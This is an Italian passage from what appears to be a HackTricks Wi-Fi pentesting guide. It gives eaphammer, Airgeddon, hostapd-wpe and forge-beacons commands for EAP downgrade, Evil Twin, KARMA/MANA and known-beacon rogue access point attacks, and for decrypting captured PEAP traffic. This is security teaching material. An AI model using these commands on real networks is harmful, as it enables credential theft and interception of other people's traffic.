GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Questa è la metodologia predefinita per evitare lunghi tempi di connessione. Tuttavia, puoi anche specificare al server i metodi di autenticazione dal più debole al più forte:
--negotiate weakest
Oppure puoi anche usare:
--negotiate gtc-downgrade
per utilizzare l'implementazione di downgrade GTC altamente efficiente (password in chiaro)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
per specificare manualmente i metodi offerti (specificando gli stessi auth methods nello stesso ordine usato dall'organizzazione, l'attacco sarà molto più difficile da rilevare).- Find more info in the wiki
Usare Airgeddon
Airgeddon
può usare certificati precedentemente generati per offrire l'autenticazione EAP alle reti WPA/WPA2-Enterprise. La rete finta downgradearà il protocollo di connessione a EAP-MD5 così sarà in grado di catturare l'utente e l'MD5 della password. Successivamente, l'attaccante può provare a crackare la password.
Airggedon
offre la possibilità di un continuous Evil Twin attack (noisy) o di creare solo l'Evil Attack finché qualcuno si connette (smooth).
Debug dei tunnel TLS PEAP e EAP-TTLS negli attacchi Evil Twins
Questo metodo è stato testato su una connessione PEAP ma siccome sto decriptando un tunnel TLS arbitrario questo dovrebbe funzionare anche con EAP-TTLS
All'interno della configurazione di hostapd-wpe commenta la riga che contiene dh_file (da dh_file=/etc/hostapd-wpe/certs/dh
a #dh_file=/etc/hostapd-wpe/certs/dh
)
Questo farà sì che hostapd-wpe
scambi le chiavi usando RSA invece di DH, così sarai in grado di decriptare il traffico in seguito conoscendo la chiave privata del server.
Ora avvia l'Evil Twin usando hostapd-wpe
con quella configurazione modificata come al solito. Inoltre, avvia wireshark
nell'interfaccia che sta eseguendo l'attacco Evil Twin.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Aggiungi una nuova voce e compila il modulo con questi valori: IP address = any -- Port = 0 -- Protocol = data -- Key File (seleziona il tuo file chiave, per evitare problemi seleziona un file chiave non protetto da password).
E guarda la nuova scheda "Decrypted TLS":
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Tipi diversi di Media Access Control Filter Lists (MFACLs) e i loro corrispondenti modi ed effetti sul comportamento di un rogue Access Point (AP):
- MAC-based Whitelist:
- Il rogue AP risponderà solo alle probe requests dai dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
- MAC-based Blacklist:
- Il rogue AP ignorerà le probe requests provenienti dai dispositivi nella blacklist, rendendo di fatto il rogue AP invisibile a quei dispositivi specifici.
- SSID-based Whitelist:
- Il rogue AP risponderà alle probe requests solo per gli ESSID specifici elencati, rendendolo invisibile ai dispositivi le cui Preferred Network Lists (PNLs) non contengono quegli ESSID.
- SSID-based Blacklist:
- Il rogue AP non risponderà alle probe requests per gli ESSID specifici nella blacklist, rendendolo invisibile ai dispositivi che cercano quelle reti particolari.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Questo metodo permette a un attacker di creare un access point maligno (AP) che risponde a tutte le probe requests dai dispositivi che cercano di connettersi alle reti. Questa tecnica inganna i dispositivi inducendoli a connettersi all'AP dell'attacker imitando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo rogue AP, la connessione viene completata, portando il dispositivo a connettersi per errore alla rete dell'attacker.
MANA
Poi, i dispositivi hanno iniziato a ignorare risposte di rete non attendibili, riducendo l'efficacia del karma attack originale. Tuttavia, è stato introdotto un nuovo metodo, noto come MANA attack, da Ian de Villiers e Dominic White. Questo metodo prevede che il rogue AP catturi le Preferred Network Lists (PNL) dai dispositivi rispondendo alle loro broadcast probe requests con nomi di rete (SSIDs) precedentemente memorizzati dai dispositivi. Questo attacco sofisticato bypassa le protezioni contro il karma attack originale sfruttando il modo in cui i dispositivi ricordano e prioritizzano le reti note.
Il MANA attack opera monitorando sia le directed che le broadcast probe requests dai dispositivi. Per le directed requests, registra il MAC address del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a una lista. Quando viene ricevuta una broadcast request, l'AP risponde con informazioni corrispondenti a una qualsiasi delle reti presenti nella lista del dispositivo, inducendo il dispositivo a connettersi al rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Un attacco Loud MANA è una strategia avanzata per quando i dispositivi non utilizzano directed probing o quando le loro Preferred Network Lists (PNL) non sono note all'attaccante. Opera sul principio che i dispositivi nella stessa area probabilmente condividono alcuni nomi di rete nelle loro PNL. Invece di rispondere selettivamente, questo attacco broadcasta probe responses per ogni network name (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la probabilità che un dispositivo riconosca una rete familiare e tenti di connettersi al rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Quando il Loud MANA attack potrebbe non essere sufficiente, il Known Beacon attack presenta un altro approccio. Questo metodo brute-forces il processo di connessione simulando un AP che risponde a qualsiasi network name, scorrendo una lista di potenziali ESSIDs derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di trovare una corrispondenza con un ESSID nella PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione --loud
per un tentativo più aggressivo di catturare dispositivi.
Eaphammer implementò questo attacco come un MANA attack in cui tutti gli ESSIDs contenuti in una lista vengono annunciati (puoi anche combinare questo con --loud
per creare un Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
La Known Beacon Burst attack implica la trasmissione a raffica di beacon frames per ogni ESSID elencato in un file. Ciò crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si colleghino al rogue AP, soprattutto se combinata con una MANA attack. Questa tecnica sfrutta velocità e volume per sovraccaricare i meccanismi di selezione della rete dei dispositivi.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct è un protocollo che permette ai dispositivi di collegarsi direttamente tra loro usando il Wi-Fi senza la necessità di un access point wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di access point, noto come group owner, per gestire la connessione.
La sicurezza delle connessioni Wi-Fi Direct è assicurata tramite Wi-Fi Protected Setup (WPS), che supporta diversi metodi per il pairing sicuro, tra cui:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Questi metodi, in particolare PIN entry, sono suscettibili alle stesse vulnerabilità del WPS nelle reti Wi‑Fi tradizionali, rendendoli bersagli per vettori di attacco simili.
EvilDirect Hijacking
EvilDirect Hijacking è un attacco specifico per Wi-Fi Direct. Rispecchia il concetto di un attacco Evil Twin ma prende di mira le connessioni Wi‑Fi Direct. In questo scenario, un attaccante impersona un legittimo group owner con l'obiettivo di indurre i dispositivi a connettersi a un'entità malevola. Questo metodo può essere eseguito usando strumenti come airbase-ng
specificando il canale, l'ESSID e l'indirizzo MAC del dispositivo impersonato:
Riferimenti
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
TODO: Dai un'occhiata a [https://github.com/wifiphisher/wifiphisher] (login con Facebook e imitazione di WPA in captive portals)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.